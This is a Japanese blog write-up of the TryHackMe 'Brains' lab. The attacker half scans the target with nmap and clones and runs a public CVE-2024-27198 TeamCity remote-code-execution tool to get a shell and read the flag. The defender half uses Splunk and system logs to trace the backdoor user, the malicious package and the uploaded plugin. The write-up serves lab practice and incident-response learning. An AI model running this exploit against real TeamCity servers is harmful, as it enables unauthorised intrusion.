LoginSignup
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

@yuudee

TryHackMe Writeup：Brains

Posted at

はじめに

今回はTHMのルーム Brains のwriteupを書いていきたいと思います.
ハッキングラボを一通り終えて初めてのルームでした．
https://tryhackme.com/room/brains

Red: Exploit the Server!

ポートスキャン

  • まずはポートスキャンです．
  • 事前にターゲットマシンのIPは変数に設定しておきます．
  • 以下の結果より22番でSSH，80番でHTTP，50000番でibm-db2が動いていることがわかります．
ping $IP
sudo nmap -O -p 0-1024 -sV -A -T4 $IP 

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a6:1c:72:d6:36:b7:40:67:b3:45:42:ba:89:a4:8b:18 (RSA)
|   256 7f:2d:81:0a:9c:d4:a4:95:9e:59:59:85:7e:06:82:60 (ECDSA)
|_  256 b4:58:77:92:f5:10:18:13:70:bc:0b:ff:0c:36:36:f3 (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Maintenance
50000/tcp open  ibm-db2?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 401 
|     TeamCity-Node-Id: MAIN_SERVER
|     WWW-Authenticate: Basic realm="TeamCity"
|     WWW-Authenticate: Bearer realm="TeamCity"
|     Cache-Control: no-store
|     Content-Type: text/plain;charset=UTF-8
|     Date: Sat, 08 Mar 2025 09:52:52 GMT
|     Connection: close
|     Authentication required
|     login manually go to "/login.html" page
|   drda, ibm-db2: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Sat, 08 Mar 2025 09:52:53 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|     Request</h1></body></html>
|   ibm-db2-das: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Sat, 08 Mar 2025 09:52:52 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1></body></html>

HTTPでアクセス

  • 80番ポートが空いているのでとりあえずHTTPにアクセスしてみます．
    • こんな感じで特に何も表示されません．
    • ソースを見ても何もなさそうでした．

image.png

50000番ポートにアクセス

  • 次は50000番ポートにアクセスしてみます．
    • こんな感じでTeamcityというサービスのログイン画面にリダイレクトします．

image.png

git clone https://github.com/W01fh4cker/CVE-2024-27198-RCE.git

python CVE-2024-27198-RCE.py -t http://$IP:50000
  • これでshellを獲得することができます
    • ユーザは ubuntu というユーザのようです．
command > whoami
ubuntu
  • flagのファイル名は flag.txt のようなので find コマンドで検索します．
    • これで一つ目のflagがわかりました．
find / -name flag.txt 2> /dev/null
/home/ubuntu/flag.txt
cat /home/ubuntu/flag.txt 
THM{*************}

Blue: Let's Investigate

8000番ポートにアクセス

  • 問題より $IP:8000 でsplunkが動作しているようです．
    • splunkとはログの収集から解析まで行えるソフトのことです．

What is the name of the backdoor user which was created on the server after exploitation?

  • exploitののちに作成されたユーザ名は何かという問題です．
    • splunkを触るのは初めてだったので手探りでやってました．
    • search画面から検索ができるようです．
    • index ="auth_log" で検索してみます．
    • 以下のログから答えは eviluser ということがわかります．
    • この後使うのでこのユーザが作られた時間を確認しておきます．
      • 7/4/24 10:32:56.000 PM
        image.png

What is the name of the malicious-looking package installed on the server?

  • インストールされた悪意のあるパッケージ名は何かという問題です．
  • 引き続きsplunkのsearch画面から検索していきます
  • インストールされたということで何かしらのコマンドが実行されていないかと思い history を調べてみます
    • index=history で検索してみましたが，該当するログはありませんでした．
  • 先ほど取得したshellからCUI上で検索してみます．
    • sudo権限で実行できるコマンドを確認しておきます．
    • あらゆるユーザがroot権限で実行できるようです．
sudo -l

User ubuntu may run the following commands on brains:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL

command > ls -la /var/log/apt
total 64
drwxr-xr-x  2 root root    4096 Mar  9 06:44 .
drwxrwxr-x 10 root syslog  4096 Mar  9 06:45 ..
-rw-r--r--  1 root root   24236 Aug  2  2024 eipp.log.xz
-rw-r--r--  1 root root       0 Mar  9 06:44 history.log
-rw-r--r--  1 root root    1008 Aug  2  2024 history.log.1.gz
-rw-r--r--  1 root root    4715 Jul 17  2024 history.log.2.gz
-rw-r-----  1 root adm        0 Mar  9 06:44 term.log
-rw-r-----  1 root adm     3174 Aug  2  2024 term.log.1.gz
-rw-r-----  1 root adm    14120 Jul 17  2024 term.log.
  • 先ほどの eviluser が作成された時間から予測して history.log.2.gz が怪しそうです．
  • 解凍します
    • 特に怪しいものはなさそうです．
sudo gunzip /var/log/apt/history.log.2.gz
cat /var/log/apt/history.log.2 | grep install 

Commandline: apt-get install --assume-yes linux-aws
Commandline: apt-get install --assume-yes hibagent
Commandline: apt-get install --assume-yes ec2-hibinit-agent
Commandline: apt-get install --assume-yes ec2-instance-connect
Commandline: apt install java-common -y
Commandline: apt install apache2 -y
Commandline: apt install net-tools
Commandline: apt install gcc
Commandline: apt install haveged
  • 次に dpkg.log を見てみます．
    • インストールされた時間から絞っていくと datacollector が答えです．
sudo gunzip /var/log/dpkg.log.2.gz
cat /var/log/dpkg.log.2

2024-07-02 14:56:18 status half-configured man-db:amd64 2.9.1-1
2024-07-02 14:56:18 status installed man-db:amd64 2.9.1-1
2024-07-02 14:56:18 trigproc libc-bin:amd64 2.31-0ubuntu9.1 <none>
2024-07-02 14:56:18 status half-configured libc-bin:amd64 2.31-0ubuntu9.1
2024-07-02 14:56:18 status installed libc-bin:amd64 2.31-0ubuntu9.1
2024-07-04 22:58:23 startup archives install
2024-07-04 22:58:25 install datacollector:amd64 <none> 1.0
2024-07-04 22:58:25 status half-installed datacollector:amd64 1.0
2024-07-04 22:58:25 status unpacked datacollector:amd64 1.0
2024-07-04 22:58:25 configure datacollector:amd64 1.0 1.0
2024-07-04 22:58:25 status half-configured datacollector:amd64 1.0
2024-07-04 22:58:25 status installed datacollector:amd64 1.0

What is the name of the plugin installed on the server after successful exploitation?

  • インストールされた悪意のあるプラグインは何かという問題です．
  • teamcityに使われているプラグインについて
    • 先ほどの CVE-2024-27198-RCE.py を実行した時に表示されるユーザ名とパスワードを用いてログインすることができるのでログインします．
    • plugins からインストールされたpluginがどこに格納されているかがわかります．

image.png

find / -name plugins 2>/dev/null

/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_teamcity-compare-builds/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_0MnrW5HF/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_flaky-test-detector/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_reset-password/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_Bj4h0ciD/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_teamcity-agent-terminal/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_ig6n8syi/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_qodana/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_coverage/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_bbserver-connection/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_priority-queue/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_W2ZTAbhD/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_data-dir-browse/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_75osAzHb/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_searchBuildByNumber/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_AyzzbuXY/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_jetbrains.git/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_usage-statistics/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_overview-plugin/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_github-app/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_ZBsmeqNx/org/apache/jsp/plugins
/opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_queue-pauser/org/apache/jsp/plugins
/opt/teamcity/TeamCity/webapps/ROOT/plugins
/opt/teamcity/TeamCity/webapps/ROOT/WEB-INF/plugins ＊これがプラグインが置かれているディレクトリ
/opt/teamcity/TeamCity/temp/buildAgent9527106757081209317zip/buildAgent/plugins
/opt/teamcity/TeamCity/temp/buildAgent18167826933942880953zip/buildAgent/plugins
/opt/teamcity/TeamCity/buildAgent/plugins

ls -la /opt/teamcity/TeamCity/webapps/ROOT/WEB-INF/plugins
  • 特に何もなさそうですね．
    • 削除されてるんですかね？
ls -la /opt/teamcity/TeamCity/logs

total 2340
drwxrwxr-x  3 ubuntu ubuntu    4096 Mar  9 07:18 .
drwxr-xr-x 12 ubuntu ubuntu    4096 Jul  2  2024 ..
-rw-r-----  1 ubuntu ubuntu    6384 Mar  9 06:45 catalina.2025-03-09.log
-rw-rw-r--  1 ubuntu ubuntu  751039 Mar  9 06:55 catalina.out
-rw-r-----  1 ubuntu ubuntu       0 Mar  9 06:44 host-manager.2025-03-09.log
-rw-r-----  1 ubuntu ubuntu       0 Mar  9 06:44 localhost.2025-03-09.log
-rw-r-----  1 ubuntu ubuntu       0 Mar  9 06:44 manager.2025-03-09.log
-rw-rw-r--  1 ubuntu ubuntu      88 Mar  9 06:44 startup.log
-rw-r-----  1 ubuntu ubuntu    9486 Mar  9 07:33 teamcity-activities.log
-rw-r-----  1 ubuntu ubuntu    4527 Mar  9 07:38 teamcity-auth.log
-rw-r-----  1 ubuntu ubuntu   22342 Mar  9 07:33 teamcity-cleanup.log
-rw-r-----  1 ubuntu ubuntu    2617 Mar  9 06:45 teamcity-clouds.log
-rw-r-----  1 ubuntu ubuntu   99910 Mar  9 07:38 teamcity-diagnostics.log
-rw-r-----  1 ubuntu ubuntu  145721 Jul  2  2024 teamcity-javaLogging-2024-07-02.log
-rw-r-----  1 ubuntu ubuntu    4790 Jul  4  2024 teamcity-javaLogging-2024-07-04.log
-rw-r-----  1 ubuntu ubuntu    2109 Jul 17  2024 teamcity-javaLogging-2024-07-17.log
-rw-r-----  1 ubuntu ubuntu    6899 Aug  2  2024 teamcity-javaLogging-2024-08-02.log
-rw-r-----  1 ubuntu ubuntu    2109 Mar  9 06:50 teamcity-javaLogging-2025-03-09.log
-rw-r-----  1 ubuntu ubuntu   13033 Mar  9 06:45 teamcity-mavenServer.log
-rw-r-----  1 ubuntu ubuntu     468 Mar  9 06:45 teamcity-nodes.log
-rw-r-----  1 ubuntu ubuntu    3006 Mar  9 06:45 teamcity-notifications.log
-rw-r-----  1 ubuntu ubuntu  129780 Mar  9 06:49 teamcity-rest.log
-rw-r-----  1 ubuntu ubuntu   52455 Mar  9 06:50 teamcity-search.log
-rw-r-----  1 ubuntu ubuntu 1010250 Mar  9 07:38 teamcity-server.log
-rw-r-----  1 ubuntu ubuntu    5488 Aug  2  2024 teamcity-tfs.log
-rw-r-----  1 ubuntu ubuntu    6156 Mar  9 06:45 teamcity-vcs.log
-rw-r-----  1 ubuntu ubuntu    3816 Mar  9 06:50 teamcity-versioned-settings.log
-rw-rw-r--  1 ubuntu ubuntu    2123 Mar  9 06:44 teamcity-wrapper.log
-rw-r-----  1 ubuntu ubuntu    4342 Mar  9 06:45 teamcity-ws.log
-rw-rw-r--  1 ubuntu ubuntu       0 Mar  9 06:44 teamcity.lock
-rw-rw-r--  1 ubuntu ubuntu       5 Mar  9 06:45 teamcity.pid
-rw-rw-r--  1 ubuntu ubuntu     118 Jul  2  2024 teamcity_restart.log
drwxr-x---  2 ubuntu ubuntu   12288 Mar  9 07:38 threadDumps-2025-03-09

cat /opt/teamcity/TeamCity/logs/teamcity-activities.log | grep -a 2024-07-04

[2024-07-04 21:39:35,062]   INFO - tbrains.buildServer.ACTIVITIES - Server Started
[2024-07-04 22:08:09,995]   INFO - tbrains.buildServer.ACTIVITIES - New user created: user with id=11
[2024-07-04 22:08:09,999]   INFO - s.buildServer.ACTIVITIES.AUDIT - user_create: User "user with id=11" was created by "user with id=11"
[2024-07-04 22:08:31,921]   INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_uploaded: Plugin "AyzzbuXY" was updated by "user with id=11" with comment "Plugin was uploaded to /home/ubuntu/.BuildServer/plugins/AyzzbuXY.zip"
[2024-07-04 22:16:12,013]   INFO - tbrains.buildServer.ACTIVITIES - New user created: user with id=12
[2024-07-04 22:16:12,014]   INFO - s.buildServer.ACTIVITIES.AUDIT - user_create: User "user with id=12" was created by "user with id=12"
[2024-07-04 23:08:47,139]   INFO - tbrains.buildServer.ACTIVITIES - Spring components shutdown start...
[2024-07-04 23:08:49,492]   INFO - tbrains.buildServer.ACTIVITIES - Spring components shutdown finished in 2s,352ms
[2024-07-04 23:20:25,701]   INFO - tbrains.buildServer.ACTIVITIES - Server Started
[2024-07-04 23:34:16,263]   INFO - tbrains.buildServer.ACTIVITIES - Spring components shutdown start...
[2024-07-04 23:34:19,426]   INFO - tbrains.buildServer.ACTIVITIES - Spring components shutdown finished
  • 怪しいプラグインがインストールされてましたね．
  • AyzzbuXYが答えです．

最後に

今回は初めてspkunkに触れましたが，あまり使いこなせてないですね．
おそらくsearch画面から全部検索で引っかかると思うんですがなんかうまくいきませんでした．

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
Sign upLogin
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?